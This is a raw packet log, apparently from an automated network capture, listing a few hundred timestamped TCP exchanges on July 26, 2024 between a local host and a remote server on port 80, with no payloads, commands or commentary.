Jul 26, 2024 13:49:12.105778933 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.105793953 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.105997086 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.106012106 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.106019020 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.106025934 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.106061935 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.106076002 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.106076956 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.106092930 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.106121063 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.106132984 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.106770992 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.106786966 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.106801987 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.106812954 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.106817007 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.106828928 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.106832981 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.106844902 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.106848955 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.106862068 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.106865883 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.106880903 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.106898069 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.106933117 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.107564926 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.107582092 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.107595921 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.107604027 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.107620955 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.107635975 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.174582005 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.174660921 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.174750090 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.174767017 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.174806118 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.174807072 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.175064087 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.175079107 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.175093889 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.175108910 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.175123930 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.175128937 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.175128937 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.175163984 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.175163984 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.175189018 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.179308891 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.179325104 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.179342031 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.179358959 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.179419041 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.179419041 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.179616928 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.179632902 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.179656982 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.179661989 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.179686069 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.179714918 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.179754019 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.180063963 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.180419922 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.180438995 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.180454969 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.180469990 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.180469990 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.180496931 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.180512905 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.180517912 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.180517912 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.180517912 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.180529118 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.180560112 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.180582047 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.181356907 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.181372881 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.181416988 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.181489944 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.181505919 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.181519985 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.181534052 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.181548119 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.181549072 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.181576967 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.181607008 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.184194088 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.184210062 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.184223890 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.184238911 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.184248924 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.184281111 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.184299946 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.184324980 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.184341908 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.184357882 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.184369087 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.184387922 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.184412956 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.184799910 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.184815884 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.184832096 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.184844017 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.184845924 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.184870958 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.184870958 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.184897900 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.185229063 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.185244083 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.185259104 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.185273886 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.185283899 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.185290098 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.185306072 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.185332060 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.185820103 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.185836077 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.185852051 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.185868979 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.185903072 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.185904026 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.185956001 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.185971975 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.185992956 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.186007023 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.186754942 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.186769009 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.186784029 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.186799049 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.186800957 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.186817884 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.186822891 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.186850071 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.186882019 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.186903954 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.186920881 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.186939955 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.186954975 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.187719107 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.187736034 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.187750101 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.187764883 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.187767029 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.187774897 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.187783003 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.187796116 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.187800884 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.187813997 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.187817097 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.187828064 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.187841892 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.187860966 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.191880941 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.191931009 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.192024946 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.192040920 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.192086935 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.192178965 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.192194939 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.192209959 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.192224979 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.192239046 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.192251921 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.192295074 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.192837954 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.192852020 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.192867994 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.192894936 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.192919016 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.192951918 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.192970991 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.192980051 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.192989111 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.193002939 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.193026066 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.193336010 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.193352938 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.193386078 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.193411112 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.193490982 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.193506002 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.193521976 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.193533897 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.193545103 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.193552017 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.193558931 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.193593025 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.194103003 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.194120884 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.194135904 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.194149971 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.194164038 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.194164991 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.194192886 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.194215059 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.194253922 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.194269896 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.194312096 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.194889069 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.194915056 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.194924116 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.194931984 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.194972992 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.194992065 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.195035934 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.195054054 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.195069075 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.195086956 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.195101023 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.195132017 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.195821047 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.195836067 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.195851088 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.195864916 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.195869923 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.195880890 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.195883989 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.195898056 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.195909023 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.195914984 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.195943117 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.195955038 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.196777105 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.196794033 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.196806908 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.196820974 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.196835041 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.196849108 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.196849108 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.196861982 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.196863890 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.196880102 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.196897984 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.196909904 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.196938038 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.197535038 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.197550058 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.197598934 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.263638020 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.263664007 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.263679028 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.263693094 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.263710022 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.263716936 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.263755083 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.263766050 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.264282942 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.264300108 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.264342070 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.267283916 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.267421007 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.268311024 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.268328905 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.268362045 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.268383026 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.268723011 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.268769979 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.268874884 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.268892050 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.268908978 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.268925905 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.268929958 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.268970966 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.269165993 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.269206047 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.269375086 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.269390106 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.269404888 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.269411087 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.269431114 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.269447088 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.270107985 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.270123959 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.270138025 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.270160913 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.270183086 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.270287037 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.270303011 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.270318031 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.270332098 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.270361900 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.270900011 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.270915985 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.270930052 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.270951033 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.270971060 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.272778034 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.272797108 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.272838116 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.272851944 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.272861958 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.272871017 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.272886992 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.272896051 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.272903919 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.272922993 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.272937059 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.273468018 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.273483992 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.273533106 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.273562908 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.273647070 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.273663998 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.273679018 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.273710012 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.273734093 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.273776054 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.273792028 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.273861885 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.274456024 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.274470091 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.274497032 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.274513006 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.274571896 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.274586916 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.274601936 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.274616003 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.274622917 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.274631977 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.274647951 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.274653912 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.274693012 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.274701118 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.275141001 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.275180101 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.275336027 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.275351048 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.275365114 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.275372982 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.275381088 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.275392056 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.275394917 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.275410891 CEST	58985	80	192.168.2.6	85.28.47.31
